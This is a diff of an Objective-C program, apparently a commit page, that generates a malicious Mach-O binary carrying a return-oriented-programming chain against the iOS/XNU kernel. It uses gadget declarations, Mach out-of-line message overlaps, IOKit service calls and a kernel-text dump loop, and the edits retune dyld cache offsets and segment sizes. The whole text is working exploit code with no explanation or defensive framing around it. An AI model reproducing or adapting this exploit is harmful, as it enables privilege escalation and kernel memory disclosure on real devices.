@@ -402,22 +402,24 @@ int main(int argc, const char * argv[]) {
402
402
403
403
/* write mach header */
404
404
405
- struct mach_header mh;
406
- mh.magic = MH_MAGIC;
407
- mh.filetype = MH_EXECUTE; // must be MH_EXECUTE non-PIE (bug 1)
408
- mh.flags = 0 ; // must be MH_EXECUTE non-PIE (bug 1)
409
- mh.cputype = CPU_TYPE_ARM;
410
- mh.cpusubtype = CPU_SUBTYPE_ARM_V7S;
411
- mh.ncmds =0 ;
412
- mh.sizeofcmds =0 ;
413
405
414
406
xnuexp_mach_o * dy = [xnuexp_mach_o withContentsOfFile: dyld_path];
415
407
// assert(dy.hdr->cpusubtype == mh.cpusubtype && dy.hdr->cputype == mh.cputype);
416
408
if (!dy) {
417
409
xnuexp_fat_mach_o * fat_dy = [xnuexp_fat_mach_o withContentsOfFile: dyld_path];
418
- dy = [fat_dy getArchitectureByFirstMagicMatch: mh.magic ];
410
+ dy = [fat_dy getArchitectureByFirstMagicMatch: MH_MAGIC ];
419
411
assert (fat_dy && dy);
420
412
}
413
+
414
+ struct mach_header mh;
415
+ mh.magic = dy.hdr ->magic ;
416
+ mh.filetype = MH_EXECUTE; // must be MH_EXECUTE non-PIE (bug 1)
417
+ mh.flags = 0 ; // must be MH_EXECUTE non-PIE (bug 1)
418
+ mh.cputype = dy.hdr ->cputype ;
419
+ mh.cpusubtype = dy.hdr ->cpusubtype ;
420
+ mh.ncmds =0 ;
421
+ mh.sizeofcmds =0 ;
422
+
421
423
/* required on iOS */
422
424
423
425
struct dyld_info_command dyld_ic;
@@ -507,20 +509,20 @@ int main(int argc, const char * argv[]) {
507
509
508
510
load_cmd_seg.vmaddr = 0x51000000 ;
509
511
load_cmd_seg.fileoff = fsz;
510
- load_cmd_seg.filesize = 0x300000 ;
511
- load_cmd_seg.vmsize = 0x300000 ;
512
+ load_cmd_seg.filesize = 0x500000 ;
513
+ load_cmd_seg.vmsize = 0x500000 ;
512
514
strcpy (&load_cmd_seg.segname [0 ], " __ROPCHAIN" );
513
515
memcpy (buf + mh.sizeofcmds + sizeof (mh), &load_cmd_seg, load_cmd_seg.cmdsize );
514
516
mh.sizeofcmds += load_cmd_seg.cmdsize ;
515
517
mh.ncmds ++;
516
518
uint32_t *stack = (uint32*)(buf + fsz + 0x4000 );
517
- uint32_t *stackz = (uint32*)(buf + fsz + 0x200000 + 0x4000 );
518
- uint32_t *stacky = (uint32*)(buf + fsz + 0x100000 + 0x4000 );
519
+ uint32_t *stackz = (uint32*)(buf + fsz + 0x100000 + 0x4000 );
520
+ uint32_t *stacky = (uint32*)(buf + fsz + 0x90000 + 0x4000 );
519
521
520
522
uint32_t *stackbase = stack;
521
523
uint32_t segstackbase = load_cmd_seg.vmaddr + 0x4000 ;
522
- uint32_t segstackzbase = load_cmd_seg.vmaddr + 0x200000 + 0x4000 ;
523
- uint32_t segstackybase = load_cmd_seg.vmaddr + 0x100000 + 0x4000 ;
524
+ uint32_t segstackzbase = load_cmd_seg.vmaddr + 0x100000 + 0x4000 ;
525
+ uint32_t segstackybase = load_cmd_seg.vmaddr + 0x90000 + 0x4000 ;
524
526
525
527
526
528
DeclGadget (mov_sp_r4_pop_r4r7pc, (&(char []){0xa5 ,0x46 ,0x90 ,0xbd }), 4 );
@@ -1020,12 +1022,12 @@ int main(int argc, const char * argv[]) {
1020
1022
1021
1023
argss->waitTime .tv_sec = 10 ;
1022
1024
argss->waitTime .tv_nsec = 10000000 ;
1023
- argss->_io_service_get_matching_service = 0x293b491 ;
1024
- argss->_io_connect_method_scalarI_structureI = 0x2938038 + 1 ;
1025
- argss->_IOServiceOpen = 0x28fe4e0 + 1 ;
1026
- argss->_IOServiceClose = 0x28fe524 + 1 ;
1027
- argss->_IOServiceWaitQuiet = 0x28fe424 + 1 ;
1028
- argss->_host_get_io_master = 0x1095da11 ;
1025
+ argss->_io_service_get_matching_service = IOKIT_io_service_get_matching_service - DYCACHE_BASE + 1 ;
1026
+ argss->_io_connect_method_scalarI_structureI = IOKIT_io_connect_method_scalarI_structureI - DYCACHE_BASE + 1 ;
1027
+ argss->_IOServiceOpen = IOKIT_IOServiceOpen - DYCACHE_BASE + 1 ;
1028
+ argss->_IOServiceClose = IOKIT_IOServiceClose - DYCACHE_BASE + 1 ;
1029
+ argss->_IOServiceWaitQuiet = IOKIT_IOServiceWaitQuiet - DYCACHE_BASE + 1 ;
1030
+ argss->_host_get_io_master = LS_K_host_get_io_master - DYCACHE_BASE + 1 ;
1029
1031
argss->oolmsg_template .header .msgh_bits = MACH_MSGH_BITS (MACH_MSG_TYPE_MAKE_SEND, 0 );
1030
1032
argss->oolmsg_template .header .msgh_bits |= MACH_MSGH_BITS_COMPLEX;
1031
1033
argss->oolmsg_template .header .msgh_local_port = MACH_PORT_NULL;
@@ -1055,7 +1057,6 @@ int main(int argc, const char * argv[]) {
1055
1057
strcpy (argss->msga , " found overlapping object\n " );
1056
1058
strcpy (argss->msgb , " found overlapped object\n " );
1057
1059
strcpy (argss->testmsg , " ret: %08x \n " );
1058
- // strcpy(argss->b, "/var/mobile/Media/dy_cache");
1059
1060
1060
1061
RopFixupLR (PUSH);
1061
1062
RopCallFunction2 (PUSH, @" ___syscall" , 294 , SEG_VAR (cache_slide));
@@ -1064,34 +1065,10 @@ int main(int argc, const char * argv[]) {
1064
1065
RopNopSlide (PUSH);
1065
1066
StoreR0 (PUSH, SEG_VAR (fd1));
1066
1067
1067
- RopCallFunction3 (PUSH, @" _open" , SEG_VAR (b), O_RDWR|O_CREAT, 0666 );
1068
+ RopCallFunction3 (PUSH, @" _open" , SEG_VAR (b), O_RDWR|O_CREAT|O_TRUNC , 0666 );
1068
1069
RopNopSlide (PUSH);
1069
1070
StoreR0 (PUSH, SEG_VAR (fd2));
1070
-
1071
- /*
1072
- RopCallFunction3(PUSH, @"_open", SEG_VAR(b), O_RDWR|O_CREAT, 0666);
1073
- RopNopSlide(PUSH);
1074
- StoreR0(PUSH, SEG_VAR(fd2));
1075
-
1076
- RopCallFunction9Deref2(PUSH, @"_write", 0, SEG_VAR(fd2), 1, SEG_VAR(cache_slide), 0, 0, 0x15d30000, 0,0, 0, 0 ,0, 0);
1077
- RopNopSlide(PUSH);
1078
- StoreR0(PUSH, SEG_VAR(copyaddr));
1079
- [dy setSlide:dy.slide+1]; // enter thumb
1080
-
1081
- RopCallFunction9Deref2(PUSH, @"_fprintf", 2, SEG_VAR(fd1), 3, SEG_VAR(fd2), 0, SEG_VAR(initmsg), 0, 0, 0, 0, 0, 0, 0);
1082
-
1083
- // RopCallFunction9Deref2(PUSH, @"__platform_memmove", 0, SEG_VAR(copyaddr), 1, SEG_VAR(readaddr), 0, 0, 0x10a48000, 0, 0, 0, 0, 0, 0);
1084
- [dy setSlide:dy.slide-1]; // exit thumb
1085
- RopCallFunction2(PUSH, @"___syscall", SYS_exit, 0);
1086
- */
1087
-
1088
- RopAddWriteDeref (PUSH, SEG_VAR (_IOServiceOpen), SEG_VAR (cache_slide));
1089
- RopAddWriteDeref (PUSH, SEG_VAR (_IOServiceWaitQuiet), SEG_VAR (cache_slide));
1090
- RopAddWriteDeref (PUSH, SEG_VAR (_IOServiceClose), SEG_VAR (cache_slide));
1091
- RopAddWriteDeref (PUSH, SEG_VAR (_io_connect_method_scalarI_structureI), SEG_VAR (cache_slide));
1092
- RopAddWriteDeref (PUSH, SEG_VAR (_io_service_get_matching_service), SEG_VAR (cache_slide));
1093
- RopAddWriteDeref (PUSH, SEG_VAR (_host_get_io_master), SEG_VAR (cache_slide));
1094
-
1071
+
1095
1072
RopCallFunction0 (PUSH, @" _task_self_trap" );
1096
1073
StoreR0 (PUSH, SEG_VAR (mach_task_self));
1097
1074
@@ -1489,13 +1466,7 @@ int main(int argc, const char * argv[]) {
1489
1466
RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceClose), 0 , SEG_VAR (gasgauge_), 1 , SEG_VAR (zero), 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1490
1467
argss->waitTime .tv_sec = 1 ;
1491
1468
argss->waitTime .tv_nsec = 1000000 ;
1492
- RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceWaitQuiet), 0 , SEG_VAR (gasgauge_), 5 , SEG_VAR (zero), 0 , SEG_VAR (waitTime), 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1493
- RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceWaitQuiet), 0 , SEG_VAR (gasgauge_), 5 , SEG_VAR (zero), 0 , SEG_VAR (waitTime), 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1494
- RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceWaitQuiet), 0 , SEG_VAR (gasgauge_), 5 , SEG_VAR (zero), 0 , SEG_VAR (waitTime), 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1495
- RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceWaitQuiet), 0 , SEG_VAR (gasgauge_), 5 , SEG_VAR (zero), 0 , SEG_VAR (waitTime), 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1496
- RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceWaitQuiet), 0 , SEG_VAR (gasgauge_), 5 , SEG_VAR (zero), 0 , SEG_VAR (waitTime), 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1497
- RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceWaitQuiet), 0 , SEG_VAR (gasgauge_), 5 , SEG_VAR (zero), 0 , SEG_VAR (waitTime), 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1498
- RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceWaitQuiet), 0 , SEG_VAR (gasgauge_), 5 , SEG_VAR (zero), 0 , SEG_VAR (waitTime), 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1469
+ RopCallDerefFunctionPointer10Deref2 (PUSH, SEG_VAR (_IOServiceWaitQuiet), 0 , SEG_VAR (svc), 5 , SEG_VAR (zero), 0 , SEG_VAR (waitTime), 0 , 0 , 0 , 0 , 0 , 0 , 0 ,0 );
1499
1470
[dy setSlide: dy.slide-1 ]; // exit thumb
1500
1471
SendMsg (PUSH, overlapped_port, oolmsg_template_512);
1501
1472
@@ -1564,9 +1535,7 @@ int main(int argc, const char * argv[]) {
1564
1535
RopCallFunction9Deref2 (PUSH, @" __simple_dprintf" , 0 , SEG_VAR (fd1), 2 , SEG_VAR (kern_text_base),0 ,SEG_VAR (testmsg),0 ,0 ,0 ,0 ,0 ,0 ,0 );
1565
1536
[dy setSlide: dy.slide-1 ]; // exit thumb
1566
1537
1567
- char * kern_dump = (char *)0x54000000 ;
1568
-
1569
- for (int i = 0 ; i < 0x70 ; i++) {
1538
+ for (int i = 0 ; i < 0x60 ; i++) {
1570
1539
ReadWriteOverlap ();
1571
1540
tmptoscratch ();
1572
1541
LoadIntoR0 (PUSH, SEG_VAR (kern_text_base));
@@ -1636,7 +1605,7 @@ int main(int argc, const char * argv[]) {
1636
1605
load_cmd_seg.vmaddr = 0x54000000 ;
1637
1606
load_cmd_seg.fileoff = fsz;
1638
1607
load_cmd_seg.filesize = 0 ;
1639
- load_cmd_seg.vmsize = 0x10000000 ;
1608
+ load_cmd_seg.vmsize = 0x600000 ;
1640
1609
strcpy (&load_cmd_seg.segname [0 ], " __KERNDUMP" );
1641
1610
memcpy (buf + mh.sizeofcmds + sizeof (mh), &load_cmd_seg, load_cmd_seg.cmdsize );
1642
1611
mh.sizeofcmds += load_cmd_seg.cmdsize ;
0 commit comments